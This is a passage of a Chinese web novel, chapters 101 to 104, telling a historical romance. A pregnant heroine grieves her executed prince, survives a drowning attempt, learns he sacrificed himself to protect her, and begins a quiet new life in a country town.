【青梅竹马有尽时】(101-106)作者:天下无猫[人妻熟女]

 
  作者:天下无猫
字数:19011


  yZWnxHpb.png.
  
点击看大图


第101章诀别

怀孕一个多月以后,林灵开始吐得很厉害。她从早上起来就开始想吐,吐得
浑身乏力头重脚轻,闻到什么食物都觉得恶心,再加上她忧心夏箫,夜夜难以成
眠,饶是小雅每日在她身边悉心照料,不过十多天的光景林灵还是瘦了一圈,整
个人看起来憔悴的要命。她的小脸尖的只剩一双大眼睛惊恐的张着,脸色蜡黄嘴
角起了许多火泡,谁和她说话她总是吓一跳似的看着人家,让李逸扬心疼的要命。

林灵去过太子府,太子根本不见她;她又跑去找八皇子,八皇子倒是见了她,
但只告诉她皇上的旨意根本没可能更改。七皇子府的大门已经被贴上了封条,府
里那些仆人婢女好像在一夜之间就全都消失了。林灵没有任何办法,她常常梦到
夏箫身上的肉被人一片片割下来,在凄惨痛苦中挣扎着死掉,这世上怎么会有凌
迟这样残忍的刑罚,早知如此她宁可当初自己和夏箫在九华山上就一起死掉。

几天之后,程浩然回来了。程浩然这几个月一直在各地到处游历,七皇子通
敌叛国的消息没几天就传遍了全国,他知道以后第一时间就赶回了皇城。

林灵一见程浩然就情绪激动的扑过去紧紧抓着他的手臂求他救救夏箫,她说
浩然你亲生父亲是武林盟主,你帮我想想办法好不好!程浩然试图想要安抚林灵
的情绪,可林灵只是一味的伤心,程浩然思虑良久之后和林灵说问题的症结多半
在夏颖那里,他会去二皇子府住一段时间,看能不能找出什么线索,但若想救夏
箫的性命可能性极小,让林灵别报太大的希望。林灵说你怎么能住到二皇子府去,
夏颖那个人坏透了。程浩然揉了揉她的头发说没事,然后就直接走了。?

夏颖没想到程浩然会来找他,他说,「程贤弟,你居然肯光临寒舍,我这二
皇子府真是蓬荜生辉。」

程浩然坐了下来,「不欢迎吗?」

夏颖哈哈笑道,「怎么可能不欢迎,我只怕程贤弟是无事不登三宝殿。」

程浩然道,「我自然是有事。夏箫如今沦为阶下囚,那边只剩个不成器的太
子,我和我父亲都认为他一定不是二皇子你的对手。」

「原来程贤弟是要说这个。」夏颖喝了口茶,「这些日子你们九华门没少和
我作对,我为什么还要和你们合作?」

程浩然道,「趋利避害是人的天性,我们都想得到更多的利益。二皇子,和
九华门合作以后,你的大计会实现得更快。」

夏颖灰褐色的眼珠盯住程浩然微微上挑的丹凤眼,他沉吟着说,「那……就
要看浩然你有多少诚意了。」

程浩然心中恼怒,脸上却还是淡淡的,「我当然有诚意。」

程浩然在二皇子府住了下来,想要从夏颖那里套出一些有用的情报,皇帝不
可能无缘无故要夏箫的命,其中必有隐情。可夏颖不是傻瓜,不该说的他一句也
不会说,程浩然不能太露了形迹,只好日日虚与委蛇的应付他。夏颖当然很想得
到程浩然,只是碍于程浩然是钟浩宇独子的身份不好用强。不过夏颖也很享受现
在这种追逐的乐趣,程浩然貌若仙人气质出尘,是他这辈子碰到的最好的猎物,
他从未对一个人有过这样强烈的欲望,他并不着急,天下都是他的,程浩然又能
跑到哪里去。?

林灵来到颂琪的夫家想要见颂琪一面,颂琪听了下人的通报直接就说不见。

第二日,颂琪一出府门林灵就跑过来拦在她面前。颂琪打量了一眼林灵,不
冷不热地说,「你找我干什么?」

林灵看着她说,「你能不能想办法让我见夏箫一面?」

「你疯了,我怎么让你见他?」

林灵抓住颂琪的衣袖道,「你是皇帝最宠爱的公主,你会有办法的,我只想
见他一面,他就快要死了。」

颂琪厌烦的抽出自己的袖子,「我有办法也不会让你见我七哥,我最讨厌你
这种狐狸精了!」她说完就大步向门前停着的马车走去。

林灵跟在她身后求她,颂琪根本不理。丫鬟打开了车帘,林灵见颂琪就要上
车,急得只好在她身后跪了下来,「我求你让我见他最后一面吧。我已经有了夏
箫的孩子,你至少让我把这件事亲口告诉他。」

颂琪上车的动作停了下来,她回过头看向跪在地上的林灵,皱着眉头没有说
话。?

林灵扮成一名丫鬟跟着颂琪进到宫里,她紧张的不敢抬头,只跟着颂琪一直
往前走。她们在宫里拐来拐去穿过许多道门,然后向地下走去,林灵听见旁边有
铁锁镣铐的叮当声响,知道是已经下到了皇宫的大牢里。

一名侍卫打开了一道扣着许多铜锁的厚重铁门,林灵跟在颂琪身后走了进去,
在火把闪烁的光亮下她看见一个赤裸着上身的男子被几条铁链绑在铁栏里面的一
扇墙上,男子低垂着头,身上有好几道结痂的鞭痕。看着那熟悉的胸膛,林灵的
眼前瞬时模糊了起来,她紧紧咬住嘴唇,几乎要哭出声来。

夏箫有些费力的抬起头一眼就看见了林灵,他的眼光不由得炙热起来,他还
以为他再也没有机会见她一面了。

颂琪冷冷的对侍卫说,「你出去。」

侍卫为难的说,「十公主,这……不合规矩。」

颂琪怒道,「我不过带着一个小丫鬟,你还怕我劫狱不成?」

侍卫忙道,「不敢,不敢。只是重刑犯不允许单独探视,小的担不起这么大
的责任。」

颂琪冷笑一声,「你叫什么名字?」

那人吓得不敢吱声。

颂琪怒喝道,「滚出去!」

侍卫忙躬身出去,一道道关紧了铁门。

夏箫嗓音嘶哑的开口道,「灵儿,是你吗?」

林灵抬头望向夏箫,捂着嘴泣不成声。

夏箫深深看着她,「宝贝,你怎么憔悴成这个样子,是不是受了什么委屈?」

颂琪有些不耐的说,「林灵你别只是哭行不行,有话快说,你以为能在这里
待很久吗?」

林灵擦掉脸上的泪痕,千言万语一时不知从何说起,她想了想说,「夏箫,
你真的没有办法逃生吗?你真的会死吗?」

夏箫苦笑了一声,要是有办法他又怎么会让她离开他,「灵儿,你别哭了。
我这种始乱终弃的负心汉,死了就死了,不值得你流这么多眼泪。」

林灵摇着头说,「你不是要娶乔落吗?你不是已经和乔家达成联盟了?事情
怎么会突然变成这样。」

「宫廷本来就是这样,胜者为王败者为寇,我输了,已经没有翻盘的机会了。
灵儿,这辈子我没办法,下辈子……我希望我是第一个遇见你的人,我们好好在
一起,再不管这些乱七八糟的事了。」

林灵哭道,「什么下辈子!你这个人又聪明又冷血,你为了得到乔家的势力
都可以不要我,你怎么会输呢?夏箫,我不要你死,我已经有了你的孩子,你要
是死了,我的孩子就没父亲了。」

夏箫愣住了,他半晌才有些艰难的开口道,「………怎么会有孩子?」

林灵嗫嗫的道,「就是最后一次,我知道你和乔落的婚事以后一时心慌意乱,
根本就忘了吃药的事,后来……我才知道我怀孕了。」

夏箫不可置信的摇着头,「怎么会有孩子,不该是这样的。」

林灵抹着眼泪说,「你不想要我的孩子吗?」

夏箫心疼的看着她,「灵儿,我要死了,你却有了我的孩子,你以后要怎么
办?我这样就害了你一辈子。」

林灵咬着嘴唇看着夏箫不说话,她的理智告诉她这是他们最后一次见面,可
她的心却怎么也没办法接受这件事。

隔了好一会儿,夏箫又问,「你以后打算和李逸扬在一起吗?」

林灵摇了摇头。

「你……会要这个孩子吗?」

「当然会要,这是我的孩子。」

夏箫低下了头,「灵儿,你别这么伤心,这样对孩子也不好。你以后要好好
照顾自己,别让自己受委屈………」他说着说着语调就哽咽了起来。

林灵情不自禁的向前走了一步,她两手抓着冰凉的铁栏杆说,「夏箫,我以
为我这辈子都会恨你,可现在我才知道我只希望你活着。只要你好好活着,哪怕
你要娶别的女人,我也不在乎了。我每天都不停的想你,我也不知道要怎么照顾
小孩子,我很害怕,我一个人没办法的,我现在比死掉还要难受。我已经不恨你
了,我宁愿和你一起死,就算到了另外一个世界,起码那里没有皇位没有斗争,
就只有我们俩还有我们的宝宝。我真的没有勇气,没有你我活不下去的。」林灵
一边说一边哭,身子不停地向下滑,直到瘫坐在地上。

眼泪模糊了夏箫的视线,他咬着牙说,「灵儿,当初我为了得到乔家的势力
冷落你抛弃你,难道你都忘了?我这种人值得你这样吗?我死了以后就不会再有
任何思想,也不会想念你,所以你也要把我忘了,你肚子里还个小生命,你必须
好好活下去。」

林灵抽泣道,「我不要,那样太辛苦,我受不了。夏箫,凌迟处死得多疼啊,
我怎么能让你那么死掉,我真的受不了。」

夏箫心知越是这样说下去就越是难以割舍,他硬起心肠闭上眼睛说,「颂琪,
你把她带走吧。」

颂琪拉着林灵的胳膊想让她站起来,林灵却抓着栏杆死不松手,她怎么能松
手,一松手这辈子她就和夏箫天人永隔了,下辈子还那么远,她哪里等得到。林
灵哭得头晕眼花,泪眼朦胧的望着夏箫,绝望而痛苦的就是不肯松手。

颂琪一个手刀打在林灵脖颈上,林灵这才软软的倒在了颂琪身上。

颂琪用肩膀撑着林灵站起来,她看着夏箫道,「七哥,我走了。」

夏箫笑了笑,「颂琪,谢谢你带她来………你也长大了,以后别总那么任性。」

颂琪点了点头,她强忍住眼角涌出的泪水,撑着林灵的身子走到门口敲了敲
铁门。

侍卫从外面打开门,他看着晕倒在颂琪身上的林灵惊疑的说,「十公主,这
………?」

颂琪瞪了侍卫一眼,「啰嗦什么,我不想她听到太多话,刚把她敲晕了而已。
快扶过去,有没有点眼色!」

侍卫忙一边扶着林灵一边再次一道道的锁住了铁门。

大门在夏箫面前缓缓合上,林灵那张满是泪痕的苍白小脸一点点的变小然后
消失不见。在寂静无声的大牢里,夏箫浑身颤抖的压抑着抽泣,他知道自己非死
不可,可林灵有了他的孩子,他怎么能把她这样一个人孤零零的留在世上,他怎
么舍得。

第102章尘埃落定

时间一天天的逼近月底,程浩然从太子那里得到的消息是夏箫定在二十五日
行刑。程浩然知道不能再等了,他这些日子已经查探出夏颖把一些紧要文书都藏
在他卧房内的一个暗格里。

当夜,程浩然来到夏颖房里,夏颖刚用言语和他挑逗了两句,就直接被程浩
然用匕首顶在了咽喉上。程浩然的几个手下悄无声息的进来打开暗格的机关,如
何启动这些机关夏颖从未告诉过任何人,程浩然究竟是如何知道的?夏颖被程浩
然点了哑穴,只能凶狠阴沉的看着他。等下次程浩然再落在他手里,他一定让他
生不如死!程浩然等手下把暗格里的东西搜刮一空之后,就用匕首抵着夏颖一路
闯出了二皇子府。夏颖被程浩然一掌推倒在地上,等他从地上爬起来,程浩然早
就和他几个手下运起轻功翻身走远了。

程浩然回去细看了那些文书,里面详列了夏颖的党羽人数和银钱财富,程浩
然越看越是心惊,原来夏颖贿赂了如此多的朝臣,他积敛的财富几乎可和国库媲
美,他暗地训练的兵士已经足够发动一场政变了,如果夏颖最后得不到皇位,只
怕一场死战无可避免。只是在这么多的东西里面,程浩然还是没有找到和夏箫相
关的任何证物。

程浩然将这些全都交给太子让他呈给皇上,还告诉太子夏颖在九华山上曾经
想要谋害夏箫的性命,如果需要的话,他可以以九华门少门主的身份亲自去作证。
太子拿着这些证物进了宫,几个时辰之后他从宫里出来,告诉程浩然皇上看到这
些文书大为震怒,他试探着提了一下七皇弟叛国通敌的事会不会是二皇弟的陷害?
皇上却只冷着脸说夏箫的事证据确凿,早已昭告天下,无需再议,说完就拂袖而
去了。程浩然沉默了一会儿问这事真的再无还转的可能?太子说前几天颂琪还跑
到父皇那里又哭又闹,结果被父皇大骂了一顿。父皇既然狠了心要七弟的命,那
是再不会改的。我尽量试试看能不能买通侩子手……让他下手快些,别让七弟受
那么多罪。

程浩然无法,只得回去将这些话转述给林灵。林灵彻底没了希望,坐在那里
只是流着泪。?

十一月二十五日这天早上,小雅打好洗脸水推开林灵的房门,房间里没有人,
被褥整整齐齐的叠放在床上,林灵只在桌上留了张纸条说她想一个人出去走走,
让他们不要担心。小雅忙把这事告诉了李逸扬和程浩然,他们两个嘴上没说什么,
心里却都在担心今天是夏箫行刑之日,林灵会不会去做什么傻事。他们带了好些
人分头寻找,可皇城毕竟人口众多,林灵又换了身男装有心躲避,一时之间哪有
那么容易找到。

正午午时,皇城里的各个告示区都贴上了皇榜:七皇子夏箫已于今日上午巳
时在宫中凌迟处死,皇子身份自此从皇家除名。

林灵挤在议论纷纷的人群里看着那张黄纸,她的心里除了悲伤还有些尘埃落
定的平静。她再不需要去期待什么侥幸,夏箫死了,已经死了。?

林灵来到青黑色的石阶边,挽起裤脚坐下来把小腿泡在温泉里。

上次她过生日是在晚上和夏箫一起来到这处温泉,原来这里白天的光景也很
好,微微的阳光从山石树木的缝隙射进山谷深处,还能听见啾啾的鸟鸣声。如果
人真的有魂魄的话,夏箫是不是也来到了这里?

林灵抬头望着头顶那线蓝的无一丝瑕疵的天空,轻轻地问,「夏箫,你在吗?」
回答她的只有远处叮叮咚咚的溪水声。

林灵低头看着自己依然平坦的小腹,「宝宝,你能能感觉到你爹爹吗?」

林灵的一只手摸在腹部上缓缓的移动。她的心里晦暗的没有一丝阳光,这是
她和夏箫的孩子,可它毕竟不是夏箫,夏箫已经死了。她才二十一岁,以后几十
年的人生她到底还有什么可期待的?

林灵两手在石阶上轻轻一撑,踩到温泉里一步步向前走去,水流隔着衣服温
柔的抚慰她的身体,就像夏箫在抱着她一样。水流没过了她的腰肢然后又没过她
的胸口,林灵摸着小腹低声说,「我们去找你爹爹好不好?」

她一边向前走一边喃喃的和肚子里的孩子说话,「宝宝,你在我的身体里所
以也能感受到我的心情对不对?娘也很爱你,只是……我真的太累了。」

温泉没过林灵的下巴,她知道再走一步就可以离开这个让她痛苦的世界,她
抽泣着闭上双眼,爹娘,请你们原谅我的不孝,宝宝,也请你原谅我的自私。林
灵又往前走了一步、两步……温泉渐渐没过她的一头秀发,水面上再看不见林灵
的身影。

一个黑衣男子猛地从树上跳到水里,抓着林灵的肩膀就向水浅的地方游去,
林灵惊慌失措的抓住男子的手臂,跳到脑袋里的第一个念头就是夏箫来救她了。

男子扶着林灵坐到岸边,「林姑娘,你没事吧?」

林灵只喝了两三口水并无大碍,她喘着气看着黑衣男子,「你是谁?」

黑衣男子想了想才开口道,「我和我的另一个兄弟是七皇子派来保护林姑娘
安全的影卫。」他朝着树上打了个响指,就又有一名黑衣男子从树上无声的跳下
来站在他们身旁。

林灵睁圆了眼睛,嘴唇哆嗦着说,「夏箫派你们来的?夏箫没死?!」

「不是,林姑娘。当初你离开七皇子府的时候,七皇子给我们的命令就是一
直保护你,直到宫里的皇位有了定局,直到林姑娘你有了好归宿,我们才可以离
开。」

晶莹的水珠从林灵脸上一颗颗的滑落下来,也不知是水滴还是她的眼泪,她
说,「我有了好归宿?我若这辈子都一个人过,你们两个难道就要一辈子跟着我
吗?」

黑衣男子正色道,「七皇子对我们恩情深重,便是一辈子保护林姑娘,我们
兄弟也会尽职尽责毫无怨言。」

林灵捂着嘴巴身子越垂越低,她的脸贴靠在冰凉青黑的石板上,声调颤抖的
说,「夏箫,我上辈子究竟是欠了你什么,你要这么折磨我。你这么霸道就不要
死啊,你为什么要死?!」

林灵哭的有些情绪失控,两个影卫知道她现在有了身孕,这样大冬天的浑身
湿透的在户外终究不妥,他们其中一人就脱了外衣披到林灵身上,另一人去雇了
马车过来将她送回到林府门口,两人这才又消失不见了。?

当你深爱的人离开这个世界的时候,那种痛苦一开始可能很强烈但却没有那
么深刻,对林灵来说,皇榜上那个凌迟处死的七皇子好像和她心里活生生的夏箫
根本不是同一个人。是时间的推移才让她一点点认识到夏箫是真的离她而去了,
那种痛是把长在你身体里的一棵树的根须一点点挖出来的痛,林灵根本就抵御不
住,她每日木偶一样的呆坐着,整个人毫无生气,只是为了肚子里的孩子她还知
道吃饭和睡觉。程浩然十分忧心,寻了许多名贵药草给她熬制安胎的补药,林灵
倒也乖乖喝了下去;程浩然说她的情绪会影响胎儿,让她不要一直这样,林灵听
了以后点了点头,每日却还是那个样子。

顾小米常常来看望林灵,李逸扬和程浩然也日日陪伴着她。转眼大半个月就
过去了,此时年关将近,李逸扬家的生意正到了最忙碌的时候,崔语欢的肚子也
渐渐大了起来,林灵让他不要再天天留在林府,李逸扬也就不天天来了,反正这
里有程浩然,反正……他已经没了任何资格和身份。

一天外面下了一夜大雪,第二日阳光初晴,照的雪白世界琉璃耀眼,林灵看
着屋檐上的皑皑白雪,想起那年在宫里夏箫身穿一件白底描金麒麟棉袍,头戴一
顶白狐绒帽,脚上还蹬着双白色毛靴,穿得这样隆重其事的跑来邀她滑雪,结果
两人根本没滑成雪,夏箫就把她强吻到下巴脱节。

林灵正想着往事出神,就见程浩然披了件白色的斗篷走进来说,「林灵,外
面的雪景很漂亮。咱们出去走走,总闷在家里也不好。」

林灵微微笑了笑,「好啊,出去走走吧。」

第103章真相大白

白天的城隍庙不像夜晚那么热闹,林灵以前和夏箫有时候可以从街头吃到街
尾,不过那通常是在……剧烈运动之后。她现在没什么胃口,就和程浩然随便在
一家豆花摊子上坐了下来。

豆花摊的生意很好,一个大娘在热气腾腾的铁锅前一碗碗盛出豆花然后熟练
的撒上调料,她高声道,「小瑶,来客人了!」

一个背上背着婴儿的年轻女子小步跑到程浩然和林灵桌前,笑问道,「两位
客官来点什么?」

程浩然问林灵,「你想吃什么?」

林灵抬头看着那个叫小瑶的女子,有些心不在焉的说,「吃什么都行。」这
个女孩的声音她听过,她叫小瑶,不就是她和夏箫在清晖园撞见过两次的那个小
瑶吗?

程浩然道,「那就来两碗咸豆花。」

小瑶见林灵只是盯着她看,有些不自然的朝她笑了笑,到炉灶边端起两碗冒
着热气的豆花放到他们桌上。

程浩然说,「我们先随便吃点,反正这条街上吃的东西还很多。」

林灵唔了一声,眼睛还是随着小瑶的身影转来转去。小瑶的相貌和她的声音
一样甜美,她个子不高身材单薄,背上的婴儿倒是长得白白胖胖,小婴儿好奇的
睁大眼睛允着手指一会儿看看这一会儿看看那,偶尔还晃着两只胳膊嗯嗯啊啊的
叫几声,每当这时小瑶就轻轻摇晃两下后背的孩子,扭过头低声哄它两句。小瑶
身上的衣服十分朴素,头发也只简单的挽了个髻,什么钗环都没带,额前的一缕
发丝因为忙乱而落在脸颊上,她也没空去整理。她看起来也就十七八岁年纪,一
颦一笑之间还有些孩子气的模样,但她的眼神却特别的沉静,是那种历尽劫难后
沉淀下来的静。

程浩然轻轻拍了拍林灵的肩膀,「你认识她吗?」

林灵摇了摇头,低头拿起汤匙舀了一口豆花。她记得小瑶说过她家是卖豆花
的小摊贩,所以那个叫张俊翼的男人最后还是没娶她,而她也没有打掉孩子,自
己一个人生了下来。她难道不觉得辛苦吗?她没有想过以后的人生要怎么办吗,
她的眼神为什么还能那么平静而满足,孩子是不是真的可以救赎一切,让人忘了
所有痛苦。她肚子里的这个孩子也是上天留给她的慰藉吗?原来世上不只她一个
人这样的不幸,如果小瑶可以坚强,是不是她也可以?

程浩然以为林灵是看到那个女子一人带着孩子心有所感才会这样,哪里知道
清晖园里那段公案。他没有多说什么,他知道自己现在说什么林灵也不会回应,
他只在心里默默承诺会一直陪在她身边,不会让她一个人过得那么辛苦。?

昨天虽然下了雪,但今天的天气并不冷。洛水湖上结了一层厚厚的冰,湖岸
上立着一树树的冰凌银花,十分漂亮。两人在湖边站了一会儿,程浩然说太累了
对她身体不好,还是回去吧。林灵点点头就要和程浩然离开,可她一转身就看见
了迎面走过来的乔落。

乔落也看见了她,然后停下了脚步。

林灵其实一直不讨厌乔落,她觉得乔落既没有颂琪那么傲慢无礼,也不像崔
语欢那么端庄静娴到让人有距离感,乔落是个温柔可人的女孩子。她今天穿了件
月白色绣花小毛皮袄,外面罩着件银鼠坎肩,脸色看来有些疲惫憔悴,额头上不
知怎得还有块青青的痕迹。

她们两人对看了几秒钟,林灵首先低下头拉了拉程浩然的衣袖向另外一个方
向走去。乔落却在背后叫住了她,她说,「林灵,我有话和你说。」

林灵只得让程浩然先走开,在堆着厚厚积雪的洛水湖边和乔落两个人对站着。

乔落道,「夏箫才死了几天,你就和别的男人在一起了。」

「程浩然是我的朋友。」

「你没必要和我解释什么,你和谁在一起也不关我的事。我知道你是觉得夏
箫负了你,他把你撵出七皇子府,他说要娶我,所以你恨他,他死了说不定你还
觉得很解气。」

林灵淡淡的说,「我没有觉得很解气,你到底想和我说什么?」

乔落看着银色的洛水湖与天际朦朦胧胧的交汇处,思绪被拉回到很远的地方,
她说,「我从小就喜欢夏箫。他比我大六岁,我还小的时候他就已经长得高大帅
气又迷人了,在我眼里所有人都没他好。颂琪的脾气很差,没人真心愿意和她作
朋友,为了能常常见到夏箫,我愿意。我听了好多年别人的风言风语说他多么浮
华浪荡生活混乱,所以我总想快快的长大,长大以后才能作七哥的新娘子。」乔
落停了一下又接着说,「可是后来你出现了,我不想表现得没有风度,我不想夏
箫讨厌我。我一直不信夏箫会娶你,你哪里配得上他?后来他终于向我求婚了,
就算他娶我有一部分原因是为了和我家联姻,我也愿意;七哥从小对我就好,他
以后也会对我好,我相信总有一天他会像我爱他那样的爱我。我生日那天他送了
我一串美到让我不敢碰触的珍珠项链,他还亲手给我戴上,我当时幸福的几乎要
晕倒,我觉得我这辈子都不可能比现在更幸福了。结果幸福还真的就到此为止了,
皇上下旨说他通敌叛国要凌迟处死,我爹爹把我锁在屋里不让我见他,我就傻得
去撞墙,死活也要见他一面。可真的单独见到了他,我才知道还不如不见。他被
铁链锁在墙上,笑着跟我说乔乔对不起;我说七哥你究竟犯了什么事,你告诉我,
我想办法救你。他说没办法救的,我哭着说你若死了,我也不想独活。他却沉默
了一会儿然后说我完全没必要这样,因为他从没喜欢过我,他自始自终想要在一
起的人只有你,我只是他逼走你的一个砝码而已。」

林灵愣住了,她睁大眼睛看着乔落,「他为什么要逼我走?夏箫……他早就
知道自己会死吗?」

「你知道夏箫的亲生母亲潇淑妃吗?」

林灵想了想说,「夏箫说他六岁的时候他娘亲就死了,还说他娘亲生前很得
皇帝宠爱。」

「潇淑妃何止是得皇帝宠爱,简直是万千宠爱集于一身。夏箫在地牢里跟我
说他以前一直不明白他娘亲为什么总是郁郁寡欢,为什么总是独自垂泪,现在他
才知道那是因为他娘爱的人根本不是皇上,他也根本不是皇上的儿子,他是他娘
和她情人的私生子。」

林灵震惊的看着乔落。原来是这样……怪不得她以前就觉得皇上相貌平庸根
本没有夏箫好看,怪不得夏箫和哪个皇子都长得不像,只和颂琪的相貌有三分相
似,原来那也不是因为血缘的关系,那只是因为皇帝当年看上了一个长得有些像
潇淑妃的宫女,所以才有了颂琪。

乔落继续道,「当年潇淑妃本就有个青梅竹马即将婚配的恋人,谁知她会突
然被选进宫作了天女。潇淑妃容颜倾城,当年她一站在观星台上,台下的一众臣
子全都目瞪口呆惊为天人,这里面当然也包括皇上。皇上对她十分着迷,竟破了
先例纳她为妃。皇帝对她极好,真是恨不得千金买美人一笑,可潇淑妃却还总是
闷闷不乐。皇上以为她年纪小想念父母,就特许她回江南省亲。这一省亲却出了
祸事,想来那时潇淑妃和她青梅竹马的恋人都以为此生再没机会相见,所以才一
时情难自禁。潇淑妃后来有了身孕,她自己也不知道这到底是她情人的孩子还是
皇帝的龙种,后来她生下的小男孩一天天长大,五官有些像她但却更像她的旧情
人。潇淑妃和她心上人的那次幽会本来是极隐秘的,除了她的贴身丫鬟谁也不知
道,但潇淑妃还是日日忧心,总担心事情会有败露的一天。她原是个柔情似水风
月为骨的女子,根本就不惯宫里这些嫔妃之间的倾轧斗争,皇帝越是宠她她便越
是遭人嫉恨,她日日难以开怀想念以前的恋人,终究不到三十岁就一病去了。这
原已是陈年往事,不该再有人知道,可世上哪有不透风的墙,夏颖心心念念要找
夏箫的错处,最后还是叫他找到了潇淑妃当年的那个贴身丫鬟,逼问拷打出了事
情的真相。夏颖欣喜若狂,知道夏箫这次必死无疑,但他并不急着告诉皇上,而
是暗自筹涨自己的势力,想要一举打败夏箫和太子两人。夏箫亦察觉出夏颖近来
有些不妥,他在夏颖身边原本就安插了自己的人,终于想办法探听出一些风声,
但他如何肯信,还是亲自跑了一趟江南。他在江南见到了他的父亲,相似的眉眼
摆在那里根本就由不得他不信。夏箫跟我说如果他想活命只有两个办法:第一,
把和这事相关的所有人都杀掉,可他怎么能杀了自己的亲生父亲。第二,发动兵
变,可他又怎么能和他从小敬爱崇拜的父皇为敌,更何况发动兵变要多少人流血
成河,成功的机率也不大,他不想那样。」

林灵喃喃的道,「原来他那次突然离开半个多月,就是去了江南,他为什么
要这样……为什么不把真相告诉我?」

乔落垂下眼睛说,「他告诉你又有什么用?他对你真是好,自己的命都保不
住了还要保住你。他告诉我因为夏颖恨他入骨,他担心他死了以后夏颖还是不会
放过你,于是他就跟皇上说要向我提亲,这样你就成了被他抛弃的女人,夏颖也
不会再理你了。夏箫说夏颖肯定担心他会联合我们乔家一起发动兵变,一定会在
我们的婚期之前把潇淑妃的事告诉皇帝,所以,他根本没想过真要娶我。他还说
夏颖以前欺辱过你,他不会让任何欺负你的人活在这世上,他早把事情告诉了太
子,还把他七皇子府里多年的心腹人才、各路情报关系还有大批的钱财都偷偷转
交给了太子,他在夏颖那里埋伏了线人,也早就得到了夏颖意图不轨有心篡位的
证据,他说他死了以后夏颖一定会死在太子手里,叫我告诉我爹千万别往夏颖那
边站。他还说他身边的所有事情都处理好了,他不亏欠任何人,只是对不起我。
他从小就把我当作妹妹看待,最后却利用了我。我当时就哭了,我说七哥你真的
一点都不喜欢我?你为什么要送我那么漂亮的珍珠项链,就只是为了利用我吗?
结果他跟我说,那串项链……只代表他的歉意。」

林灵怔怔的说不出话来,当初的许多事一幕幕从她眼前划过,他让从小给他
看病的何医师去回家养老,他不让她再管七皇子府的钱财事务,他任她蹲在地上
哭的伤心还是头也不回的走掉,他紧紧抱着她说对不起我爱你,他说太子对他不
怀好意所以他必须娶乔落,他看着她的背影说灵儿以后好好照顾自己…………那
年在宫里她从噩梦中惊醒,他握着她的手说如果有一天我不理你,那一定是因为
我要死了。原来他从未变过,一直都是那个霸道又深情的的夏箫,至死不渝。

乔落又开口道,「夏箫说他告诉我这一切是为了让我彻底死心,他说我是个
好女孩,以后会有幸福的生活。他让我不要把这些告诉别人,更不要告诉你,他
宁愿你恨他,你不再爱他才能爱上别人,才能好好活下去。我当时答应了他,可
今天我还是把一切告诉了你。他为你默默做了那么多事,你凭什么还能和别的男
人开开心心的在一起?林灵,他是这辈子都深爱你,但你已经永远失去他了。」

乔落说完这话就转身走了,林灵眼前模模糊糊的银白色世界在阳光的照射下
闪着夺目璀璨的光辉。阳光照在她身上暖暖的发热,原来夏箫从未负她,她没有
爱错人,她有幸拥有这样生死不渝的爱人,这辈子已经足够了。

第104章新的开始

转眼就到了新年,小雅在林府门口贴上了大红的春联挂上了喜气洋洋的灯笼,
她拿着一张福字站在板凳上怎么摆林灵看着都觉得歪,她就干脆要自己站上去贴,
小雅忙阻止道,「我的小姐,一个福字正一些歪一些又能怎么样,都什么时候了
你还敢爬高上低的。」林灵想一想也是,她的肚子已经三个多月了,自己有时候
却还会忘记。

程浩然邀她去他家和程伯伯一起过除夕,林灵没去;江磊和顾小米也邀她去
江家过年,林灵也没去。林府如今只剩三四个下人,小雅坚持无论如何今年要留
在林府陪伴林灵,林灵只得由她,反正……也就只有这一次了。

小雅从小在林府长大,她和林灵说是情同姐妹也并不为过。她们一同吃了年
夜饭,说了许多体己话,到了夜里方才各自睡下。

林灵躺在床上一时仍睡不着,她听着外面噼噼啪啪的鞭炮声响,摸着已经开
始渐渐隆起的小腹,想起去年过年时她也是一个人听着外面的鞭炮声心潮起伏难
以入睡,后来夏箫专门从宫里跑回来陪她放烟火……门上突然响起几声轻响,林
灵一下从床上坐了起来,蹦进脑子的第一个念头就是夏箫来找她了,却只听顾小
米在门外道,「林灵,你睡了吗?」

林灵披了件衣服下床,打开门只见江磊、顾小米、李逸扬、程浩然都在门外
站着,林灵不由得笑了。

他们几个人好像在一夜之间回到了十四五岁的年纪,那是他们最开心最放肆
最无忧无虑的年代,他们兴致勃勃的一起放烟花打雪仗,当然打起雪仗来只有林
灵打别人的份,哪有人敢打她这个孕妇。他们玩得十分尽兴,天色渐渐明亮起来
也没有感觉,所有过去那些分分合合仿佛都从没发生过,他们是少年时彼此要好
的玩伴,是这辈子难忘的朋友。

李逸扬看着林灵的如花笑靥,他说,「灵儿,我好久没见你这样笑了。」

林灵也看着李逸扬,「老大,我以后都会好好的,你放心。」

过完年林灵就一个人悄悄地走了,她留了封信说她找她爹娘去了,请大家不
要挂念她。李逸扬还像往常一般的照顾崔语欢、照顾李家的生意,他和崔语欢的
关系变得冷冰冰的,也许要过许多年他们才会逐渐好起来。程浩然没几天就辞别
父亲离开了皇城,他没说他要去哪里,这几年他本就惯了四处漂泊的日子。?

长安附近有个小镇叫作青陇镇,小镇里平静安宁人口简单,有家姓林的夫妇
前几年搬到了镇上,他们家境殷实为人和善,和小镇上的人都相处的很好。两个
月前,他们的女儿来到镇上寻找父母,这女孩相貌清秀文雅,不怎么爱说话,年
纪轻轻就守了寡,偏偏还大着肚子,真是可怜。每天傍晚她都会一个人在周近的
田野散步,她抚着肚子在夕阳下缓缓行走的身影看起来温柔而美好。

某天傍晚,一个相貌十分俊秀的青年突然来到了镇上,他看着田野上那个挺
着肚子身材单薄的女子,轻轻喊了声林灵。

林灵扭过头来,「程浩然?你怎么来了?」

「我不放心你一个人,所以来了。」

「可你怎么知道我在这里?」

程浩然笑了笑,「真想找一个人,总能找到的。」

林灵看着程浩然,柔声道,「何必呢,浩然。我什么都给不了你,我只想把
我的孩子好好养大,何必白白耽误你的人生。」

「林灵,你怀着孩子总该有人照看,这小镇上有比我医术更高明的大夫吗?」

林灵看着程浩然没再说什么。也许每个人都有每个人的坚持,她心知这辈子
已经不可能再爱上任何人,但就算她这样告诉程浩然又怎么样,他如果会听就根
本就不会找到这里来。经历了那么多事,一切就顺其自然吧,他想离开的时候自
然就会离开了。

林灵朝程浩然伸出手,「那你帮我把把脉,看看我的宝宝现在是不是很健康?」

程浩然笑道,「这里怎么把脉,回家以后我再帮你好好看脉象。」

自此以后,林灵每天傍晚的散步就不是她一个人了,程浩然总是陪着她,两
人不再像小时候那样一见面就吵得鸡飞狗跳,林灵每天说的最多的就是肚子里的
孩子。她说她希望这个孩子健康又漂亮,她说她娘已经给孩子做了好几床小被褥,
等宝宝出生以后,她要学着照顾宝宝教育宝宝,让宝宝快快乐乐的长大。程浩然
